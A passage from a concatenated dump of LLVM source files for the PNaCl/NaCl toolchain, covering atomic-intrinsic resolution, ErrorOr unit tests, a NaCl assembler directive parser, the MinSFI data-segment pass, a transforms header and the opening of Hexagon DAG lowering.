report_fatal_error("is_lock_free: unhandled architecture");
}
# else
switch (Arch) {
case Triple::x86:
case Triple::x86_64:
case Triple::arm:
break;
case Triple::mipsel:
MaxLockFreeByteSize = 4;
break;
default:
errs() << "Architecture: " << Triple::getArchTypeName(Arch) << "\n";
report_fatal_error("is_lock_free: unhandled architecture");
}
# endif
bool IsLockFree = ByteSize.ule(MaxLockFreeByteSize);
auto *C = ConstantInt::get(Call->getType(), IsLockFree);
return C;
}
Triple::ArchType Arch;
IsLockFreeToConstant(Module *M)
: Arch(Triple(M->getTargetTriple()).getArch()) {}
IsLockFreeToConstant() = delete;
};
/// Rewrite atomic intrinsics to LLVM IR instructions.
class AtomicCallResolver : public ResolvePNaClIntrinsics::CallResolver {
public:
AtomicCallResolver(Function &F,
const NaCl::AtomicIntrinsics::AtomicIntrinsic *I)
: CallResolver(F, I->ID), I(I) {}
~AtomicCallResolver() override {}
private:
const NaCl::AtomicIntrinsics::AtomicIntrinsic *I;
Function *doGetDeclaration() const override { return I->getDeclaration(M); }
bool doResolve(IntrinsicInst *Call) override {
// Assume the @llvm.nacl.atomic.* intrinsics follow the PNaCl ABI:
// this should have been checked by the verifier.
bool isVolatile = false;
SynchronizationScope SS = CrossThread;
Instruction *I;
SmallVector<Instruction *, 16> MaybeDead;
switch (Call->getIntrinsicID()) {
default:
llvm_unreachable("unknown atomic intrinsic");
case Intrinsic::nacl_atomic_load:
I = new LoadInst(Call->getArgOperand(0), "", isVolatile,
alignmentFromPointer(Call->getArgOperand(0)),
thawMemoryOrder(Call->getArgOperand(1)), SS, Call);
break;
case Intrinsic::nacl_atomic_store:
I = new StoreInst(Call->getArgOperand(0), Call->getArgOperand(1),
isVolatile,
alignmentFromPointer(Call->getArgOperand(1)),
thawMemoryOrder(Call->getArgOperand(2)), SS, Call);
break;
case Intrinsic::nacl_atomic_rmw:
I = new AtomicRMWInst(thawRMWOperation(Call->getArgOperand(0)),
Call->getArgOperand(1), Call->getArgOperand(2),
thawMemoryOrder(Call->getArgOperand(3)), SS, Call);
break;
case Intrinsic::nacl_atomic_cmpxchg:
I = new AtomicCmpXchgInst(
Call->getArgOperand(0), Call->getArgOperand(1),
Call->getArgOperand(2), thawMemoryOrder(Call->getArgOperand(3)),
thawMemoryOrder(Call->getArgOperand(4)), SS, Call);
// cmpxchg returns struct { T loaded, i1 success } whereas the PNaCl
// intrinsic only returns the loaded value. The Call can't simply be
// replaced. Identify loaded+success structs that can be replaced by the
// cmxpchg's returned struct.
{
Instruction *Loaded = nullptr;
Instruction *Success = nullptr;
for (User *CallUser : Call->users()) {
if (auto ICmp = dyn_cast<ICmpInst>(CallUser)) {
// Identify comparisons for cmpxchg's success.
if (ICmp->getPredicate() != CmpInst::ICMP_EQ)
continue;
Value *LHS = ICmp->getOperand(0);
Value *RHS = ICmp->getOperand(1);
Value *Old = I->getOperand(1);
if (RHS != Old && LHS != Old) // Call is either RHS or LHS.
continue; // The comparison isn't checking for cmpxchg's success.
// Recognize the pattern creating struct { T loaded, i1 success }:
// it can be replaced by cmpxchg's result.
for (User *InsUser : ICmp->users()) {
if (!isa<Instruction>(InsUser) ||
cast<Instruction>(InsUser)->getParent() != Call->getParent())
continue; // Different basic blocks, don't be clever.
auto Ins = dyn_cast<InsertValueInst>(InsUser);
if (!Ins)
continue;
auto InsTy = dyn_cast<StructType>(Ins->getType());
if (!InsTy)
continue;
if (!InsTy->isLayoutIdentical(cast<StructType>(I->getType())))
continue; // Not a struct { T loaded, i1 success }.
if (Ins->getNumIndices() != 1 || Ins->getIndices()[0] != 1)
continue; // Not an insert { T, i1 } %something, %success, 1.
auto TIns = dyn_cast<InsertValueInst>(Ins->getAggregateOperand());
if (!TIns)
continue; // T wasn't inserted into the struct, don't be clever.
if (!isa<UndefValue>(TIns->getAggregateOperand()))
continue; // Not an insert into an undef value, don't be clever.
if (TIns->getInsertedValueOperand() != Call)
continue; // Not inserting the loaded value.
if (TIns->getNumIndices() != 1 || TIns->getIndices()[0] != 0)
continue; // Not an insert { T, i1 } undef, %loaded, 0.
// Hooray! This is the struct you're looking for.
// Keep track of values extracted from the struct, instead of
// recreating them.
for (User *StructUser : Ins->users()) {
if (auto Extract = dyn_cast<ExtractValueInst>(StructUser)) {
MaybeDead.push_back(Extract);
if (!Loaded && Extract->getIndices()[0] == 0) {
Loaded = cast<Instruction>(StructUser);
Loaded->moveBefore(Call);
} else if (!Success && Extract->getIndices()[0] == 1) {
Success = cast<Instruction>(StructUser);
Success->moveBefore(Call);
}
}
}
MaybeDead.push_back(Ins);
MaybeDead.push_back(TIns);
Ins->replaceAllUsesWith(I);
}
MaybeDead.push_back(ICmp);
if (!Success)
Success = ExtractValueInst::Create(I, 1, "success", Call);
ICmp->replaceAllUsesWith(Success);
}
}
// Clean up remaining uses of the loaded value, if any. Later code will
// try to replace Call with I, make sure the types match.
if (Call->hasNUsesOrMore(1)) {
if (!Loaded)
Loaded = ExtractValueInst::Create(I, 0, "loaded", Call);
I = Loaded;
} else {
I = nullptr;
}
if (Loaded)
MaybeDead.push_back(Loaded);
if (Success)
MaybeDead.push_back(Success);
}
break;
case Intrinsic::nacl_atomic_fence:
I = new FenceInst(M->getContext(),
thawMemoryOrder(Call->getArgOperand(0)), SS, Call);
break;
case Intrinsic::nacl_atomic_fence_all: {
FunctionType *FTy =
FunctionType::get(Type::getVoidTy(M->getContext()), false);
std::string AsmString; // Empty.
std::string Constraints("~{memory}");
bool HasSideEffect = true;
CallInst *Asm = CallInst::Create(
InlineAsm::get(FTy, AsmString, Constraints, HasSideEffect), "", Call);
Asm->setDebugLoc(Call->getDebugLoc());
I = new FenceInst(M->getContext(), SequentiallyConsistent, SS, Asm);
Asm = CallInst::Create(
InlineAsm::get(FTy, AsmString, Constraints, HasSideEffect), "", I);
Asm->setDebugLoc(Call->getDebugLoc());
} break;
}
if (I) {
I->setName(Call->getName());
I->setDebugLoc(Call->getDebugLoc());
Call->replaceAllUsesWith(I);
}
Call->eraseFromParent();
// Remove dead code.
for (Instruction *Kill : MaybeDead)
if (isInstructionTriviallyDead(Kill))
Kill->eraseFromParent();
return true;
}
unsigned alignmentFromPointer(const Value *Ptr) const {
auto *PtrType = cast<PointerType>(Ptr->getType());
unsigned BitWidth = PtrType->getElementType()->getIntegerBitWidth();
return BitWidth / 8;
}
AtomicOrdering thawMemoryOrder(const Value *MemoryOrder) const {
auto MO = static_cast<NaCl::MemoryOrder>(
cast<Constant>(MemoryOrder)->getUniqueInteger().getLimitedValue());
switch (MO) {
// Only valid values should pass validation.
default: llvm_unreachable("unknown memory order");
case NaCl::MemoryOrderRelaxed: return Monotonic;
// TODO Consume is unspecified by LLVM's internal IR.
case NaCl::MemoryOrderConsume: return SequentiallyConsistent;
case NaCl::MemoryOrderAcquire: return Acquire;
case NaCl::MemoryOrderRelease: return Release;
case NaCl::MemoryOrderAcquireRelease: return AcquireRelease;
case NaCl::MemoryOrderSequentiallyConsistent: return SequentiallyConsistent;
}
}
AtomicRMWInst::BinOp thawRMWOperation(const Value *Operation) const {
auto Op = static_cast<NaCl::AtomicRMWOperation>(
cast<Constant>(Operation)->getUniqueInteger().getLimitedValue());
switch (Op) {
// Only valid values should pass validation.
default: llvm_unreachable("unknown atomic RMW operation");
case NaCl::AtomicAdd: return AtomicRMWInst::Add;
case NaCl::AtomicSub: return AtomicRMWInst::Sub;
case NaCl::AtomicOr: return AtomicRMWInst::Or;
case NaCl::AtomicAnd: return AtomicRMWInst::And;
case NaCl::AtomicXor: return AtomicRMWInst::Xor;
case NaCl::AtomicExchange: return AtomicRMWInst::Xchg;
}
}
AtomicCallResolver(const AtomicCallResolver &);
AtomicCallResolver &operator=(const AtomicCallResolver &);
};
}
bool ResolvePNaClIntrinsics::visitCalls(
ResolvePNaClIntrinsics::CallResolver &Resolver) {
bool Changed = false;
Function *IntrinsicFunction = Resolver.getDeclaration();
if (!IntrinsicFunction)
return false;
SmallVector<IntrinsicInst *, 64> Calls;
for (User *U : IntrinsicFunction->users()) {
// At this point, the only uses of the intrinsic can be calls, since we
// assume this pass runs on bitcode that passed ABI verification.
auto *Call = dyn_cast<IntrinsicInst>(U);
if (!Call)
report_fatal_error("Expected use of intrinsic to be a call: " +
Resolver.getName());
Calls.push_back(Call);
}
for (IntrinsicInst *Call : Calls)
Changed |= Resolver.resolve(Call);
return Changed;
}
bool ResolvePNaClIntrinsics::runOnFunction(Function &F) {
Module *M = F.getParent();
LLVMContext &C = M->getContext();
bool Changed = false;
IntrinsicCallToFunctionCall SetJmpResolver(F, Intrinsic::nacl_setjmp,
"setjmp");
IntrinsicCallToFunctionCall LongJmpResolver(F, Intrinsic::nacl_longjmp,
"longjmp");
Changed |= visitCalls(SetJmpResolver);
Changed |= visitCalls(LongJmpResolver);
NaCl::AtomicIntrinsics AI(C);
NaCl::AtomicIntrinsics::View V = AI.allIntrinsicsAndOverloads();
for (auto I = V.begin(), E = V.end(); I != E; ++I) {
AtomicCallResolver AtomicResolver(F, I);
Changed |= visitCalls(AtomicResolver);
}
ConstantCallResolver<IsLockFreeToConstant> IsLockFreeResolver(
F, Intrinsic::nacl_atomic_is_lock_free, IsLockFreeToConstant(M));
Changed |= visitCalls(IsLockFreeResolver);
return Changed;
}
char ResolvePNaClIntrinsics::ID = 0;
INITIALIZE_PASS(ResolvePNaClIntrinsics, "resolve-pnacl-intrinsics",
"Resolve PNaCl intrinsic calls", false, false)
FunctionPass *llvm::createResolvePNaClIntrinsicsPass() {
return new ResolvePNaClIntrinsics();
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClCompressBlockDist.cpp
//===-- NaClCompressBlockDist.cpp --------------------------------------------===//
// Implements distribution maps used to collect block and record
// distributions for tool pnacl-bccompress.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClCompressBlockDist.h"
using namespace llvm;
NaClCompressBlockDistElement::~NaClCompressBlockDistElement() {}
NaClBitcodeDistElement* NaClCompressBlockDistElement::
CreateElement(NaClBitcodeDistValue Value) const {
return new NaClCompressBlockDistElement(Value);
}
const SmallVectorImpl<NaClBitcodeDist*> *NaClCompressBlockDistElement::
GetNestedDistributions() const {
return &NestedDists;
}
NaClCompressBlockDistElement NaClCompressBlockDistElement::Sentinel;
<file_sep>/unittests/Support/ErrorOrTest.cpp
//===- unittests/ErrorOrTest.cpp - ErrorOr.h tests ------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Support/ErrorOr.h"
#include "llvm/Support/Errc.h"
#include "gtest/gtest.h"
#include <memory>
using namespace llvm;
namespace {
ErrorOr<int> t1() {return 1;}
ErrorOr<int> t2() { return errc::invalid_argument; }
TEST(ErrorOr, SimpleValue) {
ErrorOr<int> a = t1();
// FIXME: This is probably a bug in gtest. EXPECT_TRUE should expand to
// include the !! to make it friendly to explicit bool operators.
EXPECT_TRUE(!!a);
EXPECT_EQ(1, *a);
ErrorOr<int> b = a;
EXPECT_EQ(1, *b);
a = t2();
EXPECT_FALSE(a);
EXPECT_EQ(a.getError(), errc::invalid_argument);
#ifdef EXPECT_DEBUG_DEATH
EXPECT_DEBUG_DEATH(*a, "Cannot get value when an error exists");
#endif
}
ErrorOr<std::unique_ptr<int> > t3() {
return std::unique_ptr<int>(new int(3));
}
TEST(ErrorOr, Types) {
int x;
ErrorOr<int&> a(x);
*a = 42;
EXPECT_EQ(42, x);
// Move only types.
EXPECT_EQ(3, **t3());
}
struct B {};
struct D : B {};
TEST(ErrorOr, Covariant) {
ErrorOr<B*> b(ErrorOr<D*>(nullptr));
b = ErrorOr<D*>(nullptr);
ErrorOr<std::unique_ptr<B> > b1(ErrorOr<std::unique_ptr<D> >(nullptr));
b1 = ErrorOr<std::unique_ptr<D> >(nullptr);
ErrorOr<std::unique_ptr<int>> b2(ErrorOr<int *>(nullptr));
ErrorOr<int *> b3(nullptr);
ErrorOr<std::unique_ptr<int>> b4(b3);
}
// ErrorOr<int*> x(nullptr);
// ErrorOr<std::unique_ptr<int>> y = x; // invalid conversion
static_assert(
!std::is_convertible<const ErrorOr<int *> &,
ErrorOr<std::unique_ptr<int>>>::value,
"do not invoke explicit ctors in implicit conversion from lvalue");
// ErrorOr<std::unique_ptr<int>> y = ErrorOr<int*>(nullptr); // invalid
// // conversion
static_assert(
!std::is_convertible<ErrorOr<int *> &&,
ErrorOr<std::unique_ptr<int>>>::value,
"do not invoke explicit ctors in implicit conversion from rvalue");
// ErrorOr<int*> x(nullptr);
// ErrorOr<std::unique_ptr<int>> y;
// y = x; // invalid conversion
static_assert(!std::is_assignable<ErrorOr<std::unique_ptr<int>>,
const ErrorOr<int *> &>::value,
"do not invoke explicit ctors in assignment");
// ErrorOr<std::unique_ptr<int>> x;
// x = ErrorOr<int*>(nullptr); // invalid conversion
static_assert(!std::is_assignable<ErrorOr<std::unique_ptr<int>>,
ErrorOr<int *> &&>::value,
"do not invoke explicit ctors in assignment");
} // end anon namespace
<file_sep>/lib/MC/MCParser/NaClAsmParser.cpp
//===- NaClAsmParser.cpp - NaCl Assembly Parser ---------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/MC/MCParser/MCAsmParserExtension.h"
#include "llvm/MC/MCNaClExpander.h"
#include "llvm/MC/MCStreamer.h"
#include "llvm/MC/MCTargetAsmParser.h"
#include "llvm/Support/SourceMgr.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
class NaClAsmParser : public MCAsmParserExtension {
MCNaClExpander *Expander;
template<bool (NaClAsmParser::*HandlerMethod)(StringRef, SMLoc)>
void addDirectiveHandler(StringRef Directive) {
MCAsmParser::ExtensionDirectiveHandler Handler = std::make_pair(
this, HandleDirective<NaClAsmParser, HandlerMethod>);
getParser().addDirectiveHandler(Directive, Handler);
}
public:
NaClAsmParser(MCNaClExpander *Exp) : Expander(Exp) {}
void Initialize(MCAsmParser &Parser) override {
// Call the base implementation.
MCAsmParserExtension::Initialize(Parser);
addDirectiveHandler<&NaClAsmParser::ParseScratch>(".scratch");
addDirectiveHandler<&NaClAsmParser::ParseUnscratch>(".scratch_clear");
}
/// ::= {.scratch} reg
bool ParseScratch(StringRef Directive, SMLoc Loc) {
getParser().checkForValidSection();
unsigned RegNo;
const char *kInvalidOptionError =
"expected register name after '.scratch' directive";
if (getLexer().isNot(AsmToken::EndOfStatement)) {
if (getParser().getTargetParser().ParseRegister(RegNo, Loc, Loc))
return Error(Loc, kInvalidOptionError);
else if (getLexer().isNot(AsmToken::EndOfStatement))
return Error(Loc, kInvalidOptionError);
}
else {
return Error(Loc, kInvalidOptionError);
}
Lex();
if(Expander->addScratchReg(RegNo))
return Error(Loc, "Register can't be used as a scratch register");
return false;
}
/// ::= {.unscratch}
bool ParseUnscratch(StringRef Directive, SMLoc Loc) {
getParser().checkForValidSection();
if (getLexer().isNot(AsmToken::EndOfStatement))
return TokError("unexpected token in '.scratch_clear' directive");
Lex();
Expander->clearScratchRegs();
return false;
}
};
namespace llvm {
MCAsmParserExtension *createNaClAsmParser(MCNaClExpander *Exp) {
return new NaClAsmParser(Exp);
}
}
<file_sep>/lib/Transforms/MinSFI/AllocateDataSegment.cpp
//===- AllocateDataSegment.cpp - Create a template for the data segment ---===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Code sandboxed with MinSFI cannot access the memory containing its data
// segment directly because it is located outside its address subspace. To
// this end, this pass collates all of the global variables in the module
// into an exported global struct named "__sfi_data_segment" and a corresponding
// global integer holding the overall size. The runtime is expected to link
// against these variables and to initialize the memory region of the sandbox
// by copying the data segment template into a fixed address inside the region.
//
// This pass assumes that the base of the memory region of the sandbox is
// aligned to at least 2^29 bytes (=512MB), which is the maximum global variable
// alignment supported by LLVM.
//
//===----------------------------------------------------------------------===//
#include "llvm/Pass.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Module.h"
#include "llvm/Transforms/MinSFI.h"
using namespace llvm;
static const char ExternalSymName_DataSegment[] = "__sfi_data_segment";
static const char ExternalSymName_DataSegmentSize[] = "__sfi_data_segment_size";
static const uint32_t DataSegmentBaseAddress = 0x10000;
namespace {
class AllocateDataSegment : public ModulePass {
public:
static char ID;
AllocateDataSegment() : ModulePass(ID) {
initializeAllocateDataSegmentPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
} // namespace
static inline uint32_t getPadding(uint32_t Offset, const GlobalVariable *GV,
const DataLayout &DL) {
uint32_t Alignment = DL.getPreferredAlignment(GV);
if (Alignment <= 1)
return 0;
else
return OffsetToAlignment(Offset, Alignment);
}
bool AllocateDataSegment::runOnModule(Module &M) {
DataLayout DL(&M);
Type *I8 = Type::getInt8Ty(M.getContext());
Type *I32 = Type::getInt32Ty(M.getContext());
Type *IntPtrType = DL.getIntPtrType(M.getContext());
// First, we do a pass over the global variables, in which we compute
// the amount of required padding between them and consequently their
// addresses relative to the memory base of the sandbox. References to each
// global are then replaced with direct memory pointers.
uint32_t VarOffset = 0;
DenseMap<GlobalVariable*, uint32_t> VarPadding;
for (Module::global_iterator GV = M.global_begin(), E = M.global_end();
GV != E; ++GV) {
assert(GV->hasInitializer());
uint32_t Padding = getPadding(VarOffset, GV, DL);
VarPadding[GV] = Padding;
VarOffset += Padding;
GV->replaceAllUsesWith(
ConstantExpr::getIntToPtr(
ConstantInt::get(IntPtrType,
DataSegmentBaseAddress + VarOffset),
GV->getType()));
VarOffset += DL.getTypeStoreSize(GV->getType()->getPointerElementType());
}
// Using the offsets computed above, we prepare the layout and the contents
// of the desired data structure. After the type and initializer of each
// global is copied, the global is not needed any more and it is erased.
SmallVector<Type*, 10> TemplateLayout;
SmallVector<Constant*, 10> TemplateData;
for (Module::global_iterator It = M.global_begin(), E = M.global_end();
It != E; ) {
GlobalVariable *GV = It++;
uint32_t Padding = VarPadding[GV];
if (Padding > 0) {
Type *PaddingType = ArrayType::get(I8, Padding);
TemplateLayout.push_back(PaddingType);
TemplateData.push_back(ConstantAggregateZero::get(PaddingType));
}
TemplateLayout.push_back(GV->getType()->getPointerElementType());
TemplateData.push_back(GV->getInitializer());
GV->eraseFromParent();
}
// Finally, we create the struct and size global variables.
StructType *TemplateType =
StructType::create(M.getContext(), ExternalSymName_DataSegment);
TemplateType->setBody(TemplateLayout, /*isPacked=*/true);
Constant *Template = ConstantStruct::get(TemplateType, TemplateData);
new GlobalVariable(M, Template->getType(), /*isConstant=*/true,
GlobalVariable::ExternalLinkage, Template,
ExternalSymName_DataSegment);
Constant *TemplateSize =
ConstantInt::get(I32, DL.getTypeAllocSize(TemplateType));
new GlobalVariable(M, TemplateSize->getType(), /*isConstant=*/true,
GlobalVariable::ExternalLinkage, TemplateSize,
ExternalSymName_DataSegmentSize);
return true;
}
char AllocateDataSegment::ID = 0;
INITIALIZE_PASS(AllocateDataSegment, "minsfi-allocate-data-segment",
"Create a template for the data segment", false, false)
ModulePass *llvm::createAllocateDataSegmentPass() {
return new AllocateDataSegment();
}
<file_sep>/include/llvm/Transforms/NaCl.h
//===-- NaCl.h - NaCl Transformations ---------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_TRANSFORMS_NACL_H
#define LLVM_TRANSFORMS_NACL_H
#include "llvm/CodeGen/Passes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/LLVMContext.h"
namespace llvm {
class BasicBlockPass;
class Function;
class FunctionPass;
class FunctionType;
class Instruction;
class ModulePass;
class Triple;
class Use;
class Value;
BasicBlockPass *createConstantInsertExtractElementIndexPass();
BasicBlockPass *createExpandGetElementPtrPass();
BasicBlockPass *createExpandShuffleVectorPass();
BasicBlockPass *createFixVectorLoadStoreAlignmentPass();
BasicBlockPass *createPromoteI1OpsPass();
BasicBlockPass *createSimplifyAllocasPass();
FunctionPass *createBackendCanonicalizePass();
FunctionPass *createClearPtrToIntTop32Pass();
FunctionPass *createExpandConstantExprPass();
FunctionPass *createExpandLargeIntegersPass();
FunctionPass *createExpandStructRegsPass();
FunctionPass *createInsertDivideCheckPass();
FunctionPass *createNormalizeAlignmentPass();
FunctionPass *createRemoveAsmMemoryPass();
FunctionPass *createResolvePNaClIntrinsicsPass();
ModulePass *createAddPNaClExternalDeclsPass();
ModulePass *createCanonicalizeMemIntrinsicsPass();
ModulePass *createCleanupUsedGlobalsMetadataPass();
ModulePass *createConvertToPSOPass();
ModulePass *createExpandArithWithOverflowPass();
ModulePass *createExpandByValPass();
ModulePass *createExpandCtorsPass();
ModulePass *createExpandIndirectBrPass();
ModulePass *createExpandSmallArgumentsPass();
ModulePass *createExpandTlsConstantExprPass();
ModulePass *createExpandTlsPass();
ModulePass *createExpandVarArgsPass();
ModulePass *createFlattenGlobalsPass();
ModulePass *createGlobalCleanupPass();
ModulePass *createGlobalizeConstantVectorsPass();
ModulePass *createInternalizeUsedGlobalsPass();
ModulePass *createPNaClSjLjEHPass();
ModulePass *createPromoteIntegersPass();
ModulePass *createReplacePtrsWithIntsPass();
ModulePass *createResolveAliasesPass();
ModulePass *createRewriteAtomicsPass();
ModulePass *createRewriteLLVMIntrinsicsPass();
ModulePass *createRewritePNaClLibraryCallsPass();
ModulePass *createSimplifyStructRegSignaturesPass();
ModulePass *createStripAttributesPass();
ModulePass *createStripMetadataPass();
ModulePass *createStripModuleFlagsPass();
ModulePass *createStripDanglingDISubprogramsPass();
void PNaClABISimplifyAddPreOptPasses(Triple *T, PassManagerBase &PM);
void PNaClABISimplifyAddPostOptPasses(Triple *T, PassManagerBase &PM);
Instruction *PhiSafeInsertPt(Use *U);
void PhiSafeReplaceUses(Use *U, Value *NewVal);
// Copy debug information from Original to New, and return New.
template <typename T> T *CopyDebug(T *New, Instruction *Original) {
New->setDebugLoc(Original->getDebugLoc());
return New;
}
template <class InstType>
static void CopyLoadOrStoreAttrs(InstType *Dest, InstType *Src) {
Dest->setVolatile(Src->isVolatile());
Dest->setAlignment(Src->getAlignment());
Dest->setOrdering(Src->getOrdering());
Dest->setSynchScope(Src->getSynchScope());
}
// In order to change a function's type, the function must be
// recreated. RecreateFunction() recreates Func with type NewType.
// It copies or moves across everything except the argument values,
// which the caller must update because the argument types might be
// different.
Function *RecreateFunction(Function *Func, FunctionType *NewType);
}
#endif
<file_sep>/lib/Target/Hexagon/HexagonISelLowering.cpp
//===-- HexagonISelLowering.cpp - Hexagon DAG Lowering Implementation -----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the interfaces that Hexagon uses to lower LLVM code
// into a selection DAG.
//
//===----------------------------------------------------------------------===//
#include "HexagonISelLowering.h"
#include "HexagonMachineFunctionInfo.h"
#include "HexagonSubtarget.h"
#include "HexagonTargetMachine.h"
#include "HexagonTargetObjectFile.h"
#include "llvm/CodeGen/CallingConvLower.h"
#include "llvm/CodeGen/MachineFrameInfo.h"
#include "llvm/CodeGen/MachineFunction.h"
#include "llvm/CodeGen/MachineInstrBuilder.h"
#include "llvm/CodeGen/MachineJumpTableInfo.h"
#include "llvm/CodeGen/MachineRegisterInfo.h"
#include "llvm/CodeGen/SelectionDAGISel.h"
#include "llvm/CodeGen/ValueTypes.h"
#include "llvm/IR/CallingConv.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/GlobalAlias.h"
#include "llvm/IR/GlobalVariable.h"
#include "llvm/IR/InlineAsm.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
#define DEBUG_TYPE "hexagon-lowering"
static cl::opt<bool>
EmitJumpTables("hexagon-emit-jump-tables", cl::init(true), cl::Hidden,
cl::desc("Control jump table emission on Hexagon target"));
namespace {
class HexagonCCState : public CCState {
int NumNamedVarArgParams;
public:
HexagonCCState(CallingConv::ID CC, bool isVarArg, MachineFunction &MF,
SmallVectorImpl<CCValAssign> &locs, LLVMContext &C,
int NumNamedVarArgParams)
: CCState(CC, isVarArg, MF, locs, C),
NumNamedVarArgParams(NumNamedVarArgParams) {}
int getNumNamedVarArgParams() const { return NumNamedVarArgParams; }
};
}
// Implement calling convention for Hexagon.
static bool
CC_Hexagon(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State);
static bool
CC_Hexagon32(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State);
static bool
CC_Hexagon64(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State);
static bool
RetCC_Hexagon(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State);
static bool
RetCC_Hexagon32(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State);
static bool
RetCC_Hexagon64(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State);
static bool
CC_Hexagon_VarArg (unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State) {
HexagonCCState &HState = static_cast<HexagonCCState &>(State);
// NumNamedVarArgParams can not be zero for a VarArg function.
assert((HState.getNumNamedVarArgParams() > 0) &&
"NumNamedVarArgParams is not bigger than zero.");
if ((int)ValNo < HState.getNumNamedVarArgParams()) {
// Deal with named arguments.
return CC_Hexagon(ValNo, ValVT, LocVT, LocInfo, ArgFlags, State);
}
// Deal with un-named arguments.
unsigned ofst;
if (ArgFlags.isByVal()) {
// If pass-by-value, the size allocated on stack is decided
// by ArgFlags.getByValSize(), not by the size of LocVT.
assert ((ArgFlags.getByValSize() > 8) &&
"ByValSize must be bigger than 8 bytes");
ofst = State.AllocateStack(ArgFlags.getByValSize(), 4);
State.addLoc(CCValAssign::getMem(ValNo, ValVT, ofst, LocVT, LocInfo));
return false;
}
if (LocVT == MVT::i1 || LocVT == MVT::i8 || LocVT == MVT::i16) {
LocVT = MVT::i32;
ValVT = MVT::i32;
if (ArgFlags.isSExt())
LocInfo = CCValAssign::SExt;
else if (ArgFlags.isZExt())
LocInfo = CCValAssign::ZExt;
else
LocInfo = CCValAssign::AExt;
}
if (LocVT == MVT::i32 || LocVT == MVT::f32) {
ofst = State.AllocateStack(4, 4);
State.addLoc(CCValAssign::getMem(ValNo, ValVT, ofst, LocVT, LocInfo));
return false;
}
if (LocVT == MVT::i64 || LocVT == MVT::f64) {
ofst = State.AllocateStack(8, 8);
State.addLoc(CCValAssign::getMem(ValNo, ValVT, ofst, LocVT, LocInfo));
return false;
}
llvm_unreachable(nullptr);
}
static bool
CC_Hexagon (unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State) {
if (ArgFlags.isByVal()) {
// Passed on stack.
assert ((ArgFlags.getByValSize() > 8) &&
"ByValSize must be bigger than 8 bytes");
unsigned Offset = State.AllocateStack(ArgFlags.getByValSize(), 4);
State.addLoc(CCValAssign::getMem(ValNo, ValVT, Offset, LocVT, LocInfo));
return false;
}
if (LocVT == MVT::i1 || LocVT == MVT::i8 || LocVT == MVT::i16) {
LocVT = MVT::i32;
ValVT = MVT::i32;
if (ArgFlags.isSExt())
LocInfo = CCValAssign::SExt;
else if (ArgFlags.isZExt())
LocInfo = CCValAssign::ZExt;
else
LocInfo = CCValAssign::AExt;
} else if (LocVT == MVT::v4i8 || LocVT == MVT::v2i16) {
LocVT = MVT::i32;
LocInfo = CCValAssign::BCvt;
} else if (LocVT == MVT::v8i8 || LocVT == MVT::v4i16 || LocVT == MVT::v2i32) {
LocVT = MVT::i64;
LocInfo = CCValAssign::BCvt;
}
if (LocVT == MVT::i32 || LocVT == MVT::f32) {
if (!CC_Hexagon32(ValNo, ValVT, LocVT, LocInfo, ArgFlags, State))
return false;
}
if (LocVT == MVT::i64 || LocVT == MVT::f64) {
if (!CC_Hexagon64(ValNo, ValVT, LocVT, LocInfo, ArgFlags, State))
return false;
}
return true; // CC didn't match.
}
static bool CC_Hexagon32(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State) {
static const MCPhysReg RegList[] = {
Hexagon::R0, Hexagon::R1, Hexagon::R2, Hexagon::R3, Hexagon::R4,
Hexagon::R5
};
if (unsigned Reg = State.AllocateReg(RegList)) {
State.addLoc(CCValAssign::getReg(ValNo, ValVT, Reg, LocVT, LocInfo));
return false;
}
unsigned Offset = State.AllocateStack(4, 4);
State.addLoc(CCValAssign::getMem(ValNo, ValVT, Offset, LocVT, LocInfo));
return false;
}
static bool CC_Hexagon64(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
